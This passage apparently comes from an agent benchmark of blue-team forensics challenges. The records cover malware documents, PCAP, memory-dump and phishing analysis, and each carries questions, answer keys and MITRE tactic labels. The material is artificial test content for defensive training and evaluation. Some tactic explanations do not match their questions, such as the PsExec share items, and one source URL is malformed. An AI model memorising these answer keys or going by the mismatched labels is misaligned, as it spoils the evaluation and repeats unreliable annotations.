what is the name of the program?", "answer": "binwalk", "adversarial_tactic": "Defense Evasion: Using tools like binwalk can help attackers analyze and manipulate files to evade detection by security systems."}, {"question": "6. Can you identify if there was any checklist created on employee's machine? If so, what is the third goal from the checklist the employee created?", "answer": "Profit", "adversarial_tactic": ""}, {"question": "7. Can you identify if apache was running on employee's machine? If so, how many times was it running?", "answer": "0", "adversarial_tactic": ""}, {"question": "8. Can you identify if the employees machine was used to attack other machines? If so, what is the name of the file that provides evidence of this?", "answer": "irZLAohL.jpeg", "adversarial_tactic": "Lateral Movement: Identifying files related to attacks on other machines can indicate lateral movement within a network, where an attacker attempts to compromise additional systems after gaining access to one."}, {"question": "9. Can you identify if the employee was taunting a fellow computer expert? If so, can you identify the name of the person she was taunting?", "answer": "Young", "adversarial_tactic": ""}, {"question": "10. Can you identify if any user tried to access the root account? If so, what is the name of the user?", "answer": "postgres", "adversarial_tactic": "Credential Access: Attempting to access the root account is a common tactic used by attackers to gain elevated privileges and control over the system."}, {"question": "11. Can you identify the last active directory in the filesystem before the disk image was created? If so, what is the absolute path of the directory?", "answer": "/root/Documents/myfirsthack/", "adversarial_tactic": ""}]}
{"scenario_name": "Maldoc_101", "source": "https://cyberdefenders.org/blueteam-ctf-challenges/maldoc101/", "last_accessed": "June 04, 2025", "writeup": "https://github.com/Panagiotis-INS/Cyber-Defenders/tree/main/MalDoc101", "scenario": "This task aims to demonstrate how critical indicators of compromise (IOCs) can be quickly uncovered by examining artifacts. As a blue team analyst, your responsibility is to conduct static analysis on the provided files and answer the related questions.", "task_category": "Malware Analysis", "complexity": "Medium", "tools_available": ["oledump", "grep", "awk", "sed", "find", "strings", "file", "cut", "unique", "wc", "cat", "ls", "sort", "echo", "head", "tail", "tr", "base64", "find", "cd", "md5sum", "python"], "files_available": "sample.bin", "instructions": "\nYou are solving this problem in a kali linux terminal. You can use any tool as you want.If you need to install the tool, you can do it by adding sudo at the beginning of the command. (Add instructions related to usage of python scripts or oledump if needed)", "directory": "(directory_of_the_files)", "questions": [{"question": "1. Can you identify if there are macros present in the document, identify the highest-numbered stream that contains a macro.", "answer": "16.", "adversarial_tactic": "Execution: Understanding the presence of macros helps identify potential malicious code execution within the document."}, {"question": "2. Can you find any event that is used to begin the execution of the macros? If so, what is the event?", "answer": "Document_Open.", "adversarial_tactic": "Execution: Recognizing 'Document_Open' as the trigger event indicates the method of Execution in this case, using macros to initiate further actions."}, {"question": "3. Among the streams in the document, can you identify if there is any stream that contains any obfuscated base64 encoded string. If so, can you provide the stream number?", "answer": "stream 34.", "adversarial_tactic": "Defense Evasion: Finding encoded strings within streams often points to Defense Evasion, as attackers frequently use encoding to conceal malicious payloads or instructions."}, {"question": "4. Do you find any padded string used for the obfuscated base64 string? If so, what value is used for padding or obfuscating?", "answer": "'2342772g3&*gs7712ffvs626fq'.", "adversarial_tactic": "Defense Evasion: Examining obfuscation techniques (such as padding in encoded strings) fits Defense Evasion since attackers obfuscate content to avoid detection."}, {"question": "5. Do you think if there is any program executed by the obfuscated base64 encoded string? If so, what is the program executed?", "answer": "'powershell'.", "adversarial_tactic": "Defense Evasion: Recognizing PowerShell execution from obfuscated strings indicates an attempt to evade detection by using legitimate tools for malicious purposes."}]}
{"scenario_name": "Nuke_The_Browser", "source": "https://cyberdefenders.org/blueteam-ctf-challenges/nukethebrowser/", "last_accessed": "June 04, 2025", "writeup": "https://forensicskween.com/ctf/cyberdefenders/nukethebrowser/", "scenario": "A PCAP file has been captured containing network trace data, which includes evidence of an attack. The IP address of the victim has been anonymized to conceal the true location. As a SOC analyst, analyze the artifacts provided and answer the associated questions.", "task_category": "Network Forensics", "complexity": "Hard", "tools_available": ["tshark", "grep", "awk", "sed", "find", "strings", "file", "cut", "uniq", "wc", "cat", "ls", "sort", "echo", "head", "tail", "tr", "base64", "find", "cd", "md5sum", "python", "whois", "curl"], "files_available": "capture.pcap", "instructions": "You are solving this problem in a kali linux terminal. With the mentioned tools, you can use any other tool as you want. If you need to install any other tool, you can do it by adding sudo at the beginning of the command.", "directory": "(directory_of_the_files)", "questions": [{"question": "1. Multiple systems were targeted. Provide the IP address of the highest one.", "answer": "10.0.5.15", "adversarial_tactic": ""}, {"question": "2. Analyze the traffic protocols in the pcap file. What protocol seems to be the attack was carried out over?", "answer": "HTTP", "adversarial_tactic": "Command and Control: Analyzing protocol usage helps reveal Command and Control tactics, as protocols like HTTP are often used for ongoing control and communication with compromised hosts."}, {"question": "3. Can you find if there is any evidence of delivering any malicious executable? If so, what is the responsible URL?", "answer": "http://sploitme.com.cn/fg/load.php", "adversarial_tactic": "Initial Access: Recognizing the URL serving malicious executables indicates Initial Access tactics, as it shows how attackers deliver payloads to compromise systems."}, {"question": "4. Review HTTP response data in the pcap file. What is the packet number where a redirect occurs to a localized version of Googles French homepage, suggesting geo-based targeting?", "answer": "299", "adversarial_tactic": ""}, {"question": "5. Can you identify if there is any Content Management System (CMS) used to generate the page 'shop.honeynet.sg/catalog/'? If so, what is the CMS?", "answer": "osCommerce Online Merchant", "adversarial_tactic": ""}, {"question": "6. Can you identify if there is any evidence of indication that 'show.php' will avoid infecting the same host twice? If so, which packet number indicates this?", "answer": "366", "adversarial_tactic": "Defense Evasion: Logic to avoid infecting the same host twice indicates Defense Evasion, as the code is designed to minimize detection by reducing suspicious activity on known hosts"}, {"question": "7. Can you identify any obfuscated script at 'shop.honeynet.sg/catalog'? If so, can you deobfuscate to find the value of the 'click' parameter?", "answer": "84c090bd86", "adversarial_tactic": "Defense Evasion: Deobfuscation analysis supports Defense Evasion by exposing how the script avoids detection (e.g., hiding its purpose or functionality within encoded content)."}, {"question": "8.Can you identify any obfuscated script at 'rapidshare.com.eyu32.ru/login.php'? If you can find any, can you deobfuscate to find the value of the 'click' parameter?", "answer": "3feb5a6b2f", "adversarial_tactic": "Defense Evasion: Similar to question 9, this deobfuscation of JavaScript aligns with Defense Evasion as it reveals obfuscation strategies to hide malicious actions within scripts."}, {"question": "9. Can you find any evidence of any executable file that seems to be suspicious? If so, can you examine the metadata in the executable to determine the version of 'mingw-gcc' used to compile the malware?", "answer": "3.4.5", "adversarial_tactic": "Execution: Identifying the compiler version (e.g., mingw-gcc 3.4.5) is relevant to Execution, as it helps understand the malwares origin and potential development environment."}, {"question": "10. Is there any evidence of a shellcode in the pcap file inside 'urlmon.dll'? If so, can you find any function that seems to be used to download files from the internet to the compromised host? If you can find any, what is the name of the function?", "answer": "URLDownloadToFile", "adversarial_tactic": "Execution: Recognizing API functions like URLDownloadToFile connects to Execution, as it shows how the shellcode initiates file download operations on the victim's machine."}]}
{"scenario_name": "Obfuscated", "source": "https://cyberdefenders.org/blueteam-ctf-challenges/obfuscated/", "last_accessed": "June 04, 2025", "writeup": "https://github.com/Panagiotis-INS/Cyber-Defenders/tree/main/Obfuscated", "scenario": "As a SOC analyst, you might come across alerts from the organization's Endpoint Detection and Response (EDR) system flagging suspicious behavior on a user’s device. In one case, a user reported receiving a DOC file via email from an unfamiliar sender. To verify its safety, the user submitted the document for further analysis.", "task_category": "Malware Analysis", "complexity": "Medium", "tools_available": ["oledump", "olevba", "grep", "find", "file", "cut", "unique", "wc", "cat", "ls", "sort", "tr", "base64", "find", "cd", "md5sum", "python3"], "files_available": "sample", "instructions": "\nYou are solving this problem in a kali linux terminal. You can use any tool as you want.If you need to install any other tool, you can do it by adding sudo at the beginning of the command. (Add instructions related to usage of python scripts, oledump or olevba if needed)", "directory": "(directory_of_the_files)", "questions": [{"question": "1. what is the SHA256 hash value of the DOC file?", "answer": "ff2c8cadaa0fd8da6138cce6fce37e001f53a5d9ceccd67945b15ae273f4d751", "adversarial_tactic": ""}, {"question": "2. Do you think the document contains any macros? If so, provide the number of the lowest one", "answer": "8", "adversarial_tactic": "Execution: Identifying macros in documents is crucial for understanding how the document executes code, which can lead to malicious actions. This is a common tactic used by malware to execute payloads without user consent."}, {"question": "3. Can you find any obfuscated code in the document? if so, Can you identify if there is any key used to decrypt the obfuscated code? If so, what is the key?", "answer": "EzZETcSXyKAdF_e5I2i1", "adversarial_tactic": "Defense Evasion: Obfuscation is a common technique used by malware to evade detection by security tools. Identifying obfuscated code and its decryption key is crucial for understanding the malware's behavior and potential impact on the system."}, {"question": "4. Can you identify if there are any files dropped by the malware? If so, what is the name of the file?", "answer": "maintools.js", "adversarial_tactic": "Execution: Identifying dropped files is essential for understanding the malware's impact on the system and its potential to execute further malicious actions. This helps in assessing the scope of the attack and planning remediation steps."}, {"question": "5. Can you find any obfuscated scripts in the document? If so, what is the name of the scripting language used in the obfuscated code?", "answer": "JavaScript", "adversarial_tactic": "Execution: Identifying the scripting language used helps determine the execution context, required interpreters, and potential system implications, which is crucial for both detection and remediation."}]}
{"scenario_name": "PacketMaze", "source": "https://cyberdefenders.org/blueteam-ctf-challenges/packetmaze/", "last_accessed": "June 04, 2025", "writeup": "https://github.com/Panagiotis-INS/Cyber-Defenders/tree/main/PacketMaze", "scenario": "A company's internal server has been flagged for unusual network activity, with multiple outbound connections to an unknown external IP. Initial analysis suggests possible data exfiltration. Investigate the provided network logs to determine the source and method of compromise.", "task_category": "Network Forensics", "complexity": "Medium", "tools_available": ["tshark", "python", "md5sum", "grep", "strings", "file", "cut", "unique", "wc", "cat", "ls", "sort", "echo", "head", "tail", "xxd", "base64", "cd", "whois"], "files_available": "capture.pcapng", "instructions": "You are solving this problem in a kali linux terminal. With the mentioned tools, you can use any other tool as you want. If you need to install any other tool, you can do it by adding sudo at the beginning of the command.\n", "directory": "(directory_of_the_files)", "questions": [{"question": "1. Can you identify if there is any password was used to successfully authenticate to the FTP server?, if so, what is the password?", "answer": "AfricaCTF2021", "adversarial_tactic": "Initial Access: Identifying credentials used for authentication is crucial for understanding how attackers gain access to systems. This can help in preventing unauthorized access in the future."}, {"question": "2. Can you identify the IPv6 address of the DNS server that was queried by the host with IP address 192.168.1.26? If so, what is the IPv6 address?", "answer": "fe80::c80b:adff:feaa:1db7", "adversarial_tactic": ""}, {"question": "3. In the pcap file, analyze packet number 15174. What specific domain name was being looked up in this DNS query?", "answer": "www.7-zip.org", "adversarial_tactic": ""}, {"question": "4. Based on the pcap analysis, can you identify if there are UDP packets were sent from the internal host 192.168.1.26 to the external IP address 24.39.217.246? If so, how many were sent?", "answer": "10", "adversarial_tactic": "Exfiltration: Counting packets sent to external addresses helps quantify potential data exfiltration activity and understand the volume of suspicious communications."}, {"question": "5. Can you identify the MAC address of the potentially compromised internal system that's showing signs of data exfiltration? If so, what is the MAC address?", "answer": "c8:09:a8:57:47:93", "adversarial_tactic": ""}, {"question": "6. During TLS handshake analysis in the pcap file, examine the session with ID 'da4a0000342e4b73459d7360b4bea971cc303ac18d29b99067e46d16cc07f4ff'. What is the server certificate public key provided by the server in this handshake?", "answer": "04edcc123af7b13e90ce101a31c2f996f471a7c8f48a1b81d765085f548059a550f3f4f62ca1f0e8f74d727053074a37bceb2cbdc7ce2a8994dcd76dd6834eefc5438c3b6da929321f3a1366bd14c877cc83e5d0731b7f80a6b80916efd4a23a4d", "adversarial_tactic": "Command and Control: Understanding encryption details in TLS handshakes can help identify potentially malicious encrypted communications channels established by attackers."}, {"question": "7. Can you identify any TLS 1.3 client random that was used to establish a connection with protonmail.com? if so, what is the value of the first TLS 1.3 client random?", "answer": "24e92513b97a0348f733d16996929a79be21b0b1400cd7e2862a732ce7775b70", "adversarial_tactic": "Command and Control: TLS client random values are useful for identifying specific encrypted sessions that might be part of an attacker's command and control infrastructure."}, {"question": "8. Can you identify the country of the MAC address of the FTP server registered in? If so, what is the country?", "answer": "United States", "adversarial_tactic": ""}, {"question": "9. Can you identify if there was any non-standard folder created on the FTP server on 20th April? If so, at what time the folder was created?", "answer": "17:53", "adversarial_tactic": "Collection: Identifying non-standard folders can indicate attempts to collect or store sensitive data in unusual locations, which may be part of a larger data exfiltration strategy."}, {"question": "10. In the pcap file, what domain was the user connected to in packet 27300?", "answer": "dfir.science", "adversarial_tactic": "Discovery: Identifying web resources accessed by internal users can reveal reconnaissance activities or attempts to download additional tools or malware."}]}
{"scenario_name": "Btlo_Phishing_Email", "source": "https://blueteamlabs.online/home/challenge/phishing-analysis-2-a1091574b8", "last_accessed": "June 04, 2025", "writeup": "https://medium.com/@josephkarug/phishing-analysis-2-blue-team-lab-walkthrough-1ceca3f590d7", "scenario": "This task aims to test your phishing investigation abilities by triaging artifacts and collecting key details about a recent phishing campaign. As a blue team analyst, your role is to analyze the provided evidence and answer the associated questions.", "task_category": "Miscellaneous", "complexity": "Easy", "tools_available": ["grep", "awk", "sed", "find", "strings", "file", "cut", "unique", "wc", "cat", "ls", "sort", "echo", "head", "tail", "tr", "base64", "find", "cd", "md5sum", "exiftool", "python", "whois", "curl"], "files_available": "email.eml", "instructions": "You are solving this problem in a kali linux terminal. With the mentioned tools, you can use any other tool as you want. If you need to install any other tool, you can do it by adding sudo at the beginning of the command.", "directory": "(directory_of_the_files)", "questions": [{"question": "1. What is the sender's email address?", "answer": "amazon@zyevantoby.cn", "adversarial_tactic": ""}, {"question": "2. Who was the intended recipient of the email?", "answer": "saintington73@outlook.com", "adversarial_tactic": ""}, {"question": "3. What is the subject line mentioned in the email?", "answer": "'Your Account has been locked'", "adversarial_tactic": ""}, {"question": "4. Can you identify if any company being impersonated in the email? If so, provide the name of the company.", "answer": "Amazon", "adversarial_tactic": "Initial Access: By imitating a legitimate company, the attacker attempts to gain the recipient's trust and initial access."}, {"question": "5. What is the date and time the email was sent?", "answer": "Wed, 14 Jul 2021 01:40:32 +0900", "adversarial_tactic": ""}, {"question": "6. Upon examining the email content in a text editor, can you identify if any encoding scheme has been used. If so, what is the encoding scheme?", "answer": "'base64'", "adversarial_tactic": "Defense Evasion: Encoding schemes such as Base64 can conceal content and avoid detection, aligning with Defense Evasion tactics to bypass standard text inspection."}, {"question": "7. Can you identify if there is any URL embedded within the email body to retrieve external content, such as images or logos? If so, what is the URL?", "answer": "'https://images.squarespace-cdn.com/content/52e2b6d3e4b06446e8bf13ed/1500584238342-OX2L298XVSKF8AO6I3SV/amazon-logo?format=750w&content-type=image%2Fpng'", "adversarial_tactic": "Command and Control: Embedded URLs can be used to track user interactions or download malicious content, aligning with Command and Control tactics."}, {"question": "8. Can you identify any URLs related to social media profiles within the email content? If so, extract and analyze the associated username.", "answer": "'amir.boyka.7'", "adversarial_tactic": ""}]}
{"scenario_name": "Ps_Exec", "source": "https://cyberdefenders.org/blueteam-ctf-challenges/psexec-hunt/", "last_accessed": "June 04, 2025", "writeup": "https://github.com/Panagiotis-INS/Cyber-Defenders/tree/main/PsExec%20Hunt", "scenario": "An alert from the Intrusion Detection System (IDS) reported unusual lateral movement activity involving PsExec, suggesting possible unauthorized access and movement within the network. As a SOC Analyst, your role is to analyze the supplied PCAP file to track the attacker’s actions. Determine how they initially accessed the network, which systems were targeted, the scope of the intrusion, and key indicators that reveal their methods and intentions within the compromised environment.", "task_category": "Network Forensics", "complexity": "Medium", "tools_available": ["tshark", "grep", "awk", "sed", "find", "strings", "file", "cut", "uniq", "wc", "cat", "ls", "sort", "echo", "head", "tail", "tr", "base64", "find", "cd", "md5sum", "python", "whois", "curl"], "files_available": "capture.pcap", "instructions": "You are solving this problem in a Kali Linux terminal. With the mentioned tools, you can use any other tool as you want. If you need to install any other tool, you can do it by adding sudo at the beginning of the command.", "directory": "(directory_of_the_files)", "questions": [{"question": "1. Can you identify any suspicious IP address that is responsible for the initial access? if so, what is the IP address?", "answer": "10.0.0.130", "adversarial_tactic": "Initial Access: Identifying the source IP reveals how the attacker first made contact with the victim system."}, {"question": "2. Can you identify the machine's hostname to which the suspicious activity happened? If so, what is the hostname?", "answer": "SALES-PC", "adversarial_tactic": "Initial Access: Recognizing the initial malicious file helps trace how the attacker delivered the payload."}, {"question": "3. Do you think there was any authentication step used by any suspicious user? If so, what was the username utilized?", "answer": "ssales", "adversarial_tactic": "Credential Access: Identifying the username used during the attack helps understand how the attacker authenticated to the system."}, {"question": "4. Can you identify any service executable that has been set up on the target by any suspicious user? If so, what is it?", "answer": "PSEXESVC", "adversarial_tactic": "Execution: Understanding how the file behaves post-delivery informs the detection of execution paths."}, {"question": "5. Can you identify any network share that might be used by PsExec to install any service on the target machine? If so, what is it?", "answer": "ADMIN$", "adversarial_tactic": "Persistence: Dropped files often help attackers maintain access or escalate privileges."}, {"question": "6. Can you identify any network share that was used by PsExec for communication purposes? If so, what is it?", "answer": "IPC$", "adversarial_tactic": "Persistence: The MD5 hash provides a unique identifier that helps track this malware variant across systems."}, {"question": "7. Can you identify if there was any second machine targeted? If so, what is the hostname of that machine?", "answer": "MARKETING-PC", "adversarial_tactic": "Persistence: The MD5 hash provides a unique identifier that helps track this malware variant across systems."}]}
{"scenario_name": "Ramnit", "source": "https://cyberdefenders.org/blueteam-ctf-challenges/ramnit/", "last_accessed": "June 04, 2025", "writeup": "https://medium.com/@chaoskist/cyberdefenders-write-up-ramnit-76f916240892", "scenario": "Suspicious activity was flagged by our intrusion detection system on a workstation, suggesting a potential malware infection. A memory dump from the affected machine has been captured for further investigation. Your objective is to examine the dump, track the malware's behavior, and document the critical findings.", "task_category": "Memory Forensics", "complexity": "Easy", "tools_available": ["Volatility 3.0", "grep", "awk", "sed", "find", "strings", "file", "cut", "unique", "wc", "cat", "ls", "sort", "echo", "head", "tail", "tr", "base64", "find", "cd", "md5sum", "exiftool", "python", "whois", "curl"], "files_available": "memory.dmp", "instructions": "\nYou are solving this problem in a kali linux terminal. You can use any tool as you want.If you need to install the tool, you can do it by adding sudo at the beginning of the command. (Add instructions related to usage of python scripts, volatility if needed)", "directory": "(directory_of_the_files)", "questions": [{"question": "1. Can you identify any running process that might exhibit suspicious behavior? If so, provide the name of such a process.", "answer": "'ChromeSetup.exe'.", "adversarial_tactic": "Execution: Identifying suspicious processes aligns with Execution since it reveals processes that may be actively executing malicious actions within the system."}, {"question": "2. If there is any suspicious process identified, can you determine the exact file path of the executable associated with it? If so, what is the file path?", "answer": "'C:\\Users\\alex\\Downloads\\ChromeSetup.exe'.", "adversarial_tactic": ""}, {"question": "3. If there is any suspicious process identified, can you identify if the suspicious process attempted any network connections? If so, what IP address did it try to connect to? ", "answer": "58.64.204.181.", "adversarial_tactic": "Command and Control (C2): Network connections from a suspicious process are indicative of Command and Control (C2), as malware often reaches out to an external server to receive commands or exfiltrate data."}, {"question": "4. To determine the geographical location associated with the IP address the suspicious process tried to connect to, which city is linked to the IP address? ", "answer": "Hong Kong.", "adversarial_tactic": "Command and Control: Geolocating IP addresses helps identify the physical location of potential attackers."}, {"question": "5. Can you find any evidence of suspicious executable in the memory dump? If so, what is the SHA1 hash of the suspicious executable? ", "answer": "280c9d36039f9432433893dee6126d72b9112ad2.", "adversarial_tactic": "Execution: Identifying suspicious processes aligns with Execution since it reveals processes that may be actively executing malicious actions within the system."}, {"question": "6. If you can find any evidence of suspicious executable, can you determine the compilation timestamp of the suspicious executable identified? If so, what is the compilation timestamp?", "answer": "2019-12-01 08:36:04.", "adversarial_tactic": "Execution: Identifying the compilation timestamp of a suspicious executable can provide insights into the malware's development timeline."}]}
{"scenario_name": "Ransomed", "source": "https://blueteamlabs.online/home/challenge/malware-analysis-abc123", "last_accessed": "June 04, 2025", "writeup": "https://0xapi.blogspot.com/2022/01/ransomed-ctf-solution.html", "scenario": "A company's cybersecurity team was alerted to unusual memory behavior on a workstation. The security system detected an unidentified executable with high entropy, hinting at obfuscation or packing. Deeper analysis showed that the malware allocated memory at runtime, injected shellcode, and triggered it using indirect jumps—indicating an unpacking mechanism. Your assignment is to study the malware sample through both static and dynamic analysis. Inspect the PE file structure, entropy metrics, and memory usage to understand how it unpacks, locates API functions, and delivers its payload.", "task_category": "Malware Analysis", "complexity": "Hard", "tools_available": ["strings", "grep", "ent", "md5sum", "objdump", "r2", "awk", "sed", "find", "file", "cut", "uniq", "wc", "cat", "ls", "sort", "echo", "head", "tail", "tr", "base64", "python"], "files_available": "challenge.exe", "instructions": "\nYou are solving this problem in a kali linux terminal. You can use any tool as you want.If you need to install any other tool, you can do it by adding sudo at the beginning of the command. (Add instructions related to usage of python scripts, objdump, r2 if needed)", "directory": "(directory_of_the_files)", "questions": [{"question": "1. What is the MD5 hash of the file challenge.exe?", "answer": "a2f33095ef25b4d5b061eb53a7fe6548", "adversarial_tactic": ""}, {"question": "2. What is the entropy of the executable challenge.exe?", "answer": "7.677", "adversarial_tactic": ""}, {"question": "3. How many sections are present in the executable challenge.exe?", "answer": "4", "adversarial_tactic": ""}, {"question": "4. What is the entropy of the .text section in the executable challenge.exe?", "answer": "7.844", "adversarial_tactic": ""}, {"question": "5. is there any technique used to obfuscate strings in the executable challenge.exe? If so, what is the name of the technique?", "answer": "stack strings", "adversarial_tactic": "Defense Evasion: String obfuscation is often used to hide malicious functionality or indicators."}, {"question": "6. Is there any API that used malware allocated memory to write shellcode? If so, what is the API?", "answer": "VirtualAlloc", "adversarial_tactic": "Execution: Understanding memory allocation functions helps trace shellcode execution paths."}, {"question": "7. Is there any memory protection technique used for allocated memory? If so, what is the protection?", "answer": "ERW", "adversarial_tactic": "Defense Evasion: RWX permissions are often used by malware to execute dynamically written shellcode."}, {"question": "8. Can you find if there is any assembly instruction used to transfer the execution flow to the shellcode? If so, what is the instruction?", "answer": "jmp dword ptr ss:[ebp-4]", "adversarial_tactic": "Execution: Analyzing control flow instructions helps understand how malware executes payloads."}, {"question": "9. How many functions does the malware resolve from kernel32 in the executable challenge.exe?", "answer": "16", "adversarial_tactic": "Execution: Identifying resolved functions reveals the APIs leveraged for malicious operations."}, {"question": "10. Can you find if the malware obfuscate any strings after calling RegisterClassExA? if so, what is the first string?", "answer": "saodkfnosa9uin", "adversarial_tactic": "Defense Evasion: Revealing de-obfuscated strings aids in understanding the malwares runtime behavior."}, {"question": "11. What is the value of dwCreationFlags used by the malware in challenge.exe when calling CreateProcessA?", "answer": "0x08000004", "adversarial_tactic": "Execution: Understanding process creation flags helps identify stealth techniques used by malware."}, {"question": "12. Is there any process injection technique used by the malware in challenge.exe? If so, what is the technique?", "answer": "process hollowing", "adversarial_tactic": "Defense Evasion: Process injection techniques help malware evade detection by running malicious code within legitimate processes."}, {"question": "13. Is there any API used to write the payload into the target process? If so, what is the API?", "answer": "WriteProcessMemory", "adversarial_tactic": "Execution: API analysis reveals methods used to inject and execute malicious code."}]}
{"scenario_name": "Redline", "source": "https://cyberdefhttps://cyberdefenders.org/blueteam-ctf-challenges/redline/", "last_accessed": "June 04, 2025", "writeup": "https://github.com/ChickenLoner/Write_It_UP/blob/main/CyberDefenders/CyberDefenders%20-%20CyberRange/%5BCyberDefenders%20Write-up%5D%20RedLine.md", "scenario": "As part of the Security Blue team, you are tasked with examining a memory dump. Your objective is to track the attacker’s activity on the compromised host and uncover how they evaded detection by the Network Intrusion Detection System (NIDS). Your task is to analyze this dump, trace the malwares actions, and report key findings", "task_category": "Memory Forensics", "complexity": "Easy", "tools_available": ["Volatility 3.0", "grep", "awk", "sed", "find", "strings", "file", "cut", "unique", "wc", "cat", "ls", "sort", "echo", "head", "tail", "tr", "base64", "cd", "md5sum", "exiftool", "python", "whois", "curl"], "files_available": "capture.mem", "instructions": "You are solving this problem in a kali linux terminal. You can use any tool as you want. If you need to install any other tool, you can do it by adding sudo at the beginning of the command. (Add instructions related to usage of python scripts, volatility if needed)", "directory": "(directory_of_the_files)", "questions": [{"question": "1. Can you identify if there is any suspicious process running on the system? If so, what is the name of the process?", "answer": "oneetx.exe", "adversarial_tactic": "Execution: Identifying suspicious processes aligns with Execution since it reveals processes that may be actively executing malicious actions within the system."}, {"question": "2. If you can find suspicious process, can you find if there is any child process spawned by the suspicious process?If so, what is the name of the child process?", "answer": "rundll32.exe", "adversarial_tactic": "Execution: Child processes often carry out specific attacker tasks."}, {"question": "3. Can you find if there is any memory protection settings for the suspicious process. If so, what memory protection is applied to the suspicious process's memory region?", "answer": "PAGE_EXECUTE_READWRITE", "adversarial_tactic": "Defense Evasion: Specific memory protections can indicate attempts to evade detection."}, {"question": "4. Can you identify any process responsible for establishing any VPN connection. If so, What is the name of the process?", "answer": "Outline.exe", "adversarial_tactic": "Command and Control: VPNs can be used to maintain communication with attacker-controlled servers."}, {"question": "5. Based on the memory dump, can you identify the attacker's IP address. If you can, what is the IP address?", "answer": "77.91.124.20", "adversarial_tactic": "Command and Control: Understanding attacker IPs helps trace external connections."}, {"question": "6. Can you identify if there is any evidence that the attacker visited a URL pointing to a file? If so, what is the full URL of the file that was accessed?", "answer": "http://77.91.124.20/store/games/index.php", "adversarial_tactic": "Command and Control: Identifying URLs can help revealing attackers C2 infrastructure."}, {"question": "7. Is there any evidence of a malicious executable on the system? If so, what is the full path of the  malicious executable?", "answer": "C:\\Users\\Tammam\\AppData\\Local\\Temp\\c3912af058\\oneetx.exe", "adversarial_tactic": ""}]}
{"scenario_name": "Reveal", "source": "https://cyberdefenders.org/blueteam-ctf-challenges/reveal/", "last_accessed": "June 04, 2025", "writeup": "https://medium.com/@AbdelAlimKhaled/reveal-blue-team-lab-ddf9ce8e73bb", "scenario": "As a forensic investigator at a financial institution, you’ve been alerted to suspicious activity on a workstation that has access to sensitive financial information. Believing a breach may have occurred, you’ve been provided with a memory dump from the affected system. Your job is to examine the memory for evidence of compromise, identify the source of the anomaly, and evaluate the extent of the issue in order to contain the incident effectively.", "task_category": "Memory Forensics", "complexity": "Medium", "tools_available": ["Volatility 3.0", "grep", "awk", "sed", "find", "strings", "file", "cut", "unique", "wc", "cat", "ls", "sort", "echo", "head", "tail", "tr", "base64", "cd", "md5sum", "exiftool", "python", "whois", "curl"], "files_available": "capture.dmp", "instructions": "You are solving this problem in a kali linux terminal. You can use any tool as you want.If you need to install any other tool, you can do it by adding sudo at the beginning of the command. (Add instructions related to usage of python scripts, volatility if needed)", "directory": "(directory_of_the_files)", "questions": [{"question": "1. Can you identify if there is any process running on the system that exhibits suspicious behavior. If so, what is the name of the process?", "answer": "powershell.exe", "adversarial_tactic": "Execution: Malicious processes often execute unauthorized commands or tools."}, {"question": "2. If you can find the suspicious process, can you identify the parent process ID (PPID) of the identified suspicious process from the memory dump. If so, What is the PPID?", "answer": "4120", "adversarial_tactic": "Execution: Understanding process hierarchies reveals how attackers initiated malicious activities."}, {"question": "3. Can you find if there is evidence of malware presence in the memory dump? If so, what is the name of the file used by the malware to execute the second-stage payload?", "answer": "3435.dll", "adversarial_tactic": "Execution: Malicious files are often used to deliver second-stage payloads."}, {"question": "4. Can you Identify if there is any shared directories accessed on a remote server by the suspicious process. If so, what is the name of the shared directory?", "answer": "davwwwroot", "adversarial_tactic": "Lateral Movement: Accessing shared directories on remote systems indicates potential lateral movement."}, {"question": "5. Can you identify any username under which the suspicious process is running. If so, what is the username?", "answer": "Elon", "adversarial_tactic": "Privilege Escalation: Understanding compromised accounts helps assess attacker privileges."}]}
{"scenario_name": "Team_Spy", "source": "https://cyberdefenders.org/blueteam-ctf-challenges/teamspy/", "last_accessed": "June 04, 2025", "writeup": "https://forensicskween.com/ctf/cyberdefenders/teamspy/", "scenario": "An employee noticed strange behavior on their workstation after interacting with a suspicious email that included a document attachment. The incident response team acquired memory dumps from the potentially compromised machines for deeper investigation. As a SOC analyst, your task is to analyze the dumps and support the IR team in determining what occurred.", "task_category": "Memory Forensics", "complexity": "Hard", "tools_available": ["Volatility3", "Volatility2", "grep", "find", "file", "cut", "unique", "wc", "cat", "ls", "sort", "tr", "base64", "find", "cd", "md5sum", "python3", "strings", "olevba"], "files_available": ["ecorpoffice/win7ecorpoffice.vmem", "ecorpwin7/win7.vmem"], "instructions": "You are solving this problem in a kali linux terminal. You can use any tool as you want.If you need to install any other tool, you can do it by adding sudo at the beginning of the command. (Add instructions related to usage of python scripts, volatility if needed). (Extra info: The profile for win7ecorpoffice memory dump is 'Win7SP1x64'.)", "directory": "(directory_of_the_files)", "questions": [{"question": "1. In the memory dump 'ecorpoffice/win7ecorpoffice.vmem', Can you identify if there is any process ID (PID) associated with a file that exhibits suspicious behavior? If so, what is the PID?", "answer": "1364", "adversarial_tactic": "Execution: Identifying the suspicious PID points to active execution, where a potentially malicious process is already running."}, {"question": "2. In the 'ecorpoffice/win7ecorpoffice.vmem' memory dump, can you find any indicators of any command-and-control (C2) server communication? If so, what is the IP address of this C2 server?", "answer": "54.174.131.235", "adversarial_tactic": "Command and Control: Detecting external IPs used by malware is crucial for uncovering Command and Control (C2) channels used to manage the malware."}, {"question": "3. Within the 'ecorpoffice/win7ecorpoffice.vmem' file, can you identify any team viewer abused by the suspicious file? If so, what is the version of TeamViewer used?", "answer": "Team Viewer 0.2.2.2", "adversarial_tactic": "Initial Access: Identifying the TeamViewer version exploited by attackers relates to Initial Access, where attackers leverage remote access tools to gain entry."}, {"question": "4. Within the 'ecorpoffice/win7ecorpoffice.vmem' memory dump, can you find any stored passwords used by the suspicious file related to remote access? If so, what is the password associated with remote access activities?", "answer": "P59fS93m", "adversarial_tactic": "Credential Access: Stored passwords used to establish unauthorized access fall under Credential Access, where attackers aim to collect or use stolen credentials."}, {"question": "5. Within the 'ecorpoffice/win7ecorpoffice.vmem' memory dump, can you find any email addresses associated with any phishing activity. If so, what is the sender's email address linked to this activity?", "answer": "karenmiles@t-online.de", "adversarial_tactic": "Initial Access: The email address of the phishing email sender provides insight into the Initial Access tactic, where email phishing is used to establish a foothold in the network."}, {"question": "6. Within the 'ecorpoffice/win7ecorpoffice.vmem', can you identify any suspicious document? If so, what is the MD5 hash of a suspicious document found in the memory dump?", "answer": "c2dbf24a0dc7276a71dd0824647535c9", "adversarial_tactic": "Initial Access: A malicious document used in a phishing campaign aligns with Initial Access, where malicious files exploit vulnerabilities to gain initial access."}, {"question": "7. Within the 